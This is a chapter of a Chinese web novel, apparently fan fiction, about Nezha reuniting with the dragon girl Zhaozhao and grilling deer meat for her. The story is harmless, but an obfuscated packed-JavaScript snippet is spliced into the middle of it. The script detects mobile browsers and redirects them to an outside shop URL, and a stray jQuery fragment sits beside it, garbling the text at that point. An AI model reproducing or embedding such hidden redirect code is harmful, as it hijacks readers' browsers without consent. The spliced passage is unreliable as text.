20.第 20 章

作品:《又怎么了,我的小莲花

    对好友精神状态表示忧心忡忡的哪吒,单是信上的文字安抚是对他没有用的。


    在强行相信了昭昭的个龙能力一年后,他还是跑去了碧波潭探望她。


    通信后的一个年头,经历过充分□□锻炼,及时的营养补充的昭昭,她的人形也随着原型的成长,对外是增添了几岁的样貌。


    年纪像是在十一二岁左右的少女,容貌还未张开,一袭翠色罗衣倚树而立,细柳嫩枝般在春风中招摇。


    哪吒确认眼前的豆蔻少女是昭昭,还是凭借着气息认出。


    她怎么长得那么快?


    哪吒止步不前,不想靠到近前去后,要抬头仰视龙。


    反倒是远处的昭昭,她在看见哪吒后,便快步上前去拉住哪吒的手,笑逐颜开,眼睛弯成了月牙的形状:


    “哪吒,一年时间了,你怎么不长个呀?”


    这话是她故意问他的。


    她知道哪吒是父母入道后所生之子,来历不凡,其生长过程不一定依从凡人的正常规律。


    可知道归知道,她就想逗逗他。


    哪吒没有被昭昭的一问,顶得黑脸。


    他慢吞吞地抬起头看着昭昭,又慢条斯理地说:“我已非凡人,胎里入道者,我是开天辟地第一人,长得较常人慢些也属正常。”


    也、属、正、常~


    昭昭瞧了一眼哪吒捏紧的小拳头,没有多言,只用袖子捂着嘴巴闷笑半晌。


    哪吒被她这笑声弄得心中发痒,直想伸手去挠胸膛,可他却强行忍住,故作云淡风轻地和昭昭说话:


    “你看样子过得比你信上的表现出来的样子正常多了。”


    “那是当然。”昭昭说话的样子依旧底气十足。


    这种自信飞扬的姿态,来源于真正从困境中挣脱束缚的人,才能拥有的气质。


    她笑着抬手吹吹手指,口中又回味了一遍河鲜肉质的弹牙鲜甜后道:“像我这种龙,如果一开始就没被打倒,那可就轮到其他人被我打倒了。”


    说完,她又抬手摁住哪吒的发顶,看着他现在的样子叹息:“哪吒,你要是一直长不大,那该多好。”


    可可爱爱,雌雄莫辨的雪娃娃,多惹人怜爱呀!


    哪吒啪地一下打开昭昭的手,黑着脸沉声反驳:“你做梦!”


    昭昭哎呀了一声,才抬起手向哪吒抱怨:“好久不见,见面你就打我!”


    哪吒语气凉凉地说:“是你先逗我的。”


    “我不管,你看我手背都红了!”


    一片白皙无暇上,突兀地现出一块桃红,若白宣泼朱,瞧着是挺不好看。


    哪吒耳边还在重复着,昭昭娇气的抱怨。


    他对她没有办法,只好扯过她被自己打红的手,用拇指搓揉了几下那红色:“这样可以了嘛?”


    昭昭呆了短促的一刹那,随即飞快地把自己的手缩回来:“好、好了。”


    这古板小孩哥,怎么突然不将就起来了?


    以往他搓自己龙身就算了,现在人身他也能上手搓了?


    她光明正大地细细瞧了一番,这人脸上的表情,发现没有出现任何诡异的变化后,昭昭又把手朝他伸了回去:“你不会轻点搓啊,手指上都是茧子,越揉越痛好吧!”


    哪吒好脾气地哦了一声,才接着给昭昭揉手。


    他沉默地没有提醒眼前的龙女,以龙族强健的体魄来说,她手上的红色此刻已经快消弭殆尽了。


    而昭昭呢,她向来是个对外来恶意十分敏感的孩子。


    之前又在碧波潭与看不起她的妖精鬼怪老筷子们,互相折磨了一年的时间,她被活生生磨成了敏敏肌。现在但凡谁对昭昭露出一丝恶意,她就能立刻察觉,然后十倍奉还给对面。


    哪吒对待昭昭的原则,是只要她不以凡人为食,他就随便她对他怎么样。


    这一点规则,对非人来说极是苛刻,可谁让昭昭有个人类小女孩的灵魂呢?


    两人秉持着相同的原则,对待妖精鬼怪重拳出击,对待凡人我再看看的底线,是天生能玩作堆的好朋友。


    一年不见,昭昭察觉到哪吒对她的态度改变不少,隐隐有些要更让着她。


    看他没对自己露出恶意,乐于享乐的龙女,她自然是顺水推舟,让哪吒更加地将就自己。


    她可不是什么讲平权的好姑娘,她认为自己天上就是生来享福的,万物都应该来补偿她,对她好。


    站久了,昭昭干脆蹲下身来看哪吒,看他专心致志给自己揉手的小模样,乐得眼角眉梢都在颤。


    小小的未来将军,哼哼哼,拿捏!


    重新摸索到,该与小伙伴如何相处的昭昭,她对哪吒得寸进尺道:“小朋友,快叫声姐姐来听听!”


    哪吒停下给昭昭揉手的动作:“你我同龄。”


    昭昭笑了一声,又被他小小年纪就年纪一大把的样子逗乐。


    好友久别重逢,却不显生疏的感觉实在太好了!———


    不过,这对于自己和哪吒来说也很正常。


    从过去的书信往来可知,他们一人一龙虽然分隔两地,但彼此的日常生活轨迹是重合的。


    每天睁开眼,他们一天中最多的时间都花在打这个,打那个,打完那个再打这个的行程上面了。


    不过,哪吒倒是比她可怜些。


    因为是人,受困于种族限制,他打完一串妖精还连口热乎的也吃不上。


    哪吒打量着昭昭,看她一时喜一时叹,一副未被磋磨的天真傻气。之前自己在信中看到的那些抱怨、咒骂都像是梦一般的幻影。


    昭昭她依旧中气十足地讨厌着碧波潭所有精怪,然后笑嘻嘻地欺负着出现在她眼前的每一个她想欺负的生灵。


    包括他。


    哪吒也不在意昭昭对他的欺负。


    他看着昭昭的人形,只觉得他的朋友被饿瘦了。


    要知道昭昭以前的人形可是圆脸,现在却瘦得下巴尖都出现了……


    看样子是在过去的一年里,都没有好好吃饭。


    哪吒伸手捏住昭昭的脸颊肉,捏了捏,提议道:“太长时间没有见面了,你想念我的烤肉手艺吗?”


    昭昭:“?”


    好奇怪啊,这人从刚才见面开始就表现得好奇怪啊!


    一年算是很长时间吗?


    她早已不是过去的吴下阿蒙!她早已经知道了一两年的时间对于龙和入道的修行者来说,跟一两天的时间也差不多。


    说实话在过去的一年里,要不是压力太大,昭昭都不会那么频繁地与哪吒通信。


    黏糊,太黏糊了,她上辈子与能和自己手牵手上厕所的朋友,都没那么黏过。


    “我说想念,你就会给我烤肉吗?”


    “嗯。”


    “那你烤吧。”


    没想到他真答应了,昭昭站起身跺跺脚,就跟在了哪吒背后,默不作声地尾随他往林子里走。


    哪吒发现了昭昭的自动跟随,他也没有阻止,只在前方又折断些可能会勾破她衣裙的树枝长草。


    走在前方的小小开路先锋,老实巴交的,像个受气包。


    昭昭在心中腹诽,却也没打算搭把手去帮忙。


    她安安静静地看着哪吒采集香料、猎鹿、生火处理猎物,野外生存技巧比起以前是从未减弱半点。


    他穿着一身绣云纹的衣裳,制式像是道袍,窝在石头上背靠大树坐着给昭昭烤肉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952135|191610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宽大的袖袍撩起,露出的小半截胳膊显得瘦骨伶仃,纤细得像是水鸟没入水中的腿。


    看着有些可怜。


    但昭昭她没有良心,只乐于享福。


    哪吒只要没喊她帮忙,她就坐在旁边等吃。


    心疼没有,她只是看着这样的哪吒,想起了他寄给自己的第一封信。


    他信中所说的白鹭,这鸟的羽色应该就像现在他衣裳的颜色一样,白且藏着流光。


    要不,待会儿推哪吒去树梢上站一会儿?


    昭昭这龙得寸就想着进丈,理直气壮这也要那也要,总是在自己能做主的范围之内贪得无厌。


    好在她还知道人好欺负,却不能逮着一直欺负,要有限度的欺负才能可持续发展。


    “肉烤好了。”突然哪吒转过头与她说话。


    这突至耳边的话音,吓得昭昭还以为这人看穿了自己之后的打算。


    “喏。”一支完整的鹿肋条,被哪吒拆解下来递给她。


    昭昭说了声谢谢,接过鹿肉后递到哪吒嘴边:“你辛苦,你先吃第一口。”


    怕她缠歪,哪吒轻轻在上面咬下一点肉之后,就推开昭昭的手:“你吃。”


    哪吒的指腹刚触碰到昭昭的手腕,她就愣住了。


    好厚的茧子,粗粝得像是树纹。


    她还记得以前哪吒的手,是没有这么粗糙的。这些年他一个人是杀了多少妖魔鬼怪,才能将自己白嫩的手心指腹,养出厚茧?


    好嫉妒。


    比自己有天分,还比自己努力的男人,他怕是会早自己一步过上享福的好日子。


    是男的,却是自己的好朋友,哪吒这就卡了昭昭对自己作恶的bug。


    男人意味着,她可以伺机而动夺位可期,朋友却意味着此项无法选中。


    昭昭有些陷入了卡机状态,脸上因为半想咬牙半想微笑的举动,表情凝固在了喜怒之间。


    好在她思绪中跑马归跑马,实际上却是一点也不耽搁吃东西。


    等她回过神后,手中的的鹿肋都换成了第四根。


    肉香扑鼻,嘴中嚼着肉汁满溢的烤鹿肉,昭昭便不再纠结自己对着哪吒时,内心情感时不时互相冲突着反复的奇妙感受。


    龙女性格中被恶意长期刺激而变异生成的尖锐部分,被她强行撤回。


    她边填饱肚子,边告诉自己,没事的,糟糕的情绪总会过去的。


    一只烤鹿,昭昭显得意犹未尽,却不打算继续再吃了。


    难得和朋友相聚,她还是想和哪吒说说话。


    “没吃饱?”


    她听见哪吒开口问她这个问题,垂眼看着这在自己眼前放袖子的小孩哥。貌似只要她说一句不够吃,肚子还饿,他就会立马冲去再给自己抓头鹿回来吃。


    他在关心自己?


    昭昭很久没有体会到这样软绵绵的正面情感,她呆了片刻后回答道:“不饿啦,吃是可以继续吃,但比起吃我更想和你说说话。”


    “还有。”昭昭的衣裙下变出一条有着青绿色鳞片的龙尾,它灵活地用末端圈住哪吒的手腕:“你今天穿这身衣服,可爱得像是一只小白鸟,再多安静地让我看几眼,可以吗?”


    哪吒抬起手,望向这条自己熟悉,却是悄无声息变粗许多的龙尾,点点头,随着尾巴的牵引,挪动位置,在离昭昭离得更近的位置坐下。


    规规矩矩地小孩哥,在昭昭眼中可爱得像是一个娃娃机中被选中的毛绒玩偶。


    他毛茸茸地挪动,是因为被她毛茸茸的尾巴抓住了。


    太好了,对人来说很漫长的一年时间过去,在他们没有见面的时候,昭昭的小将军依然没有长歪。


    他还是这么听自己的话。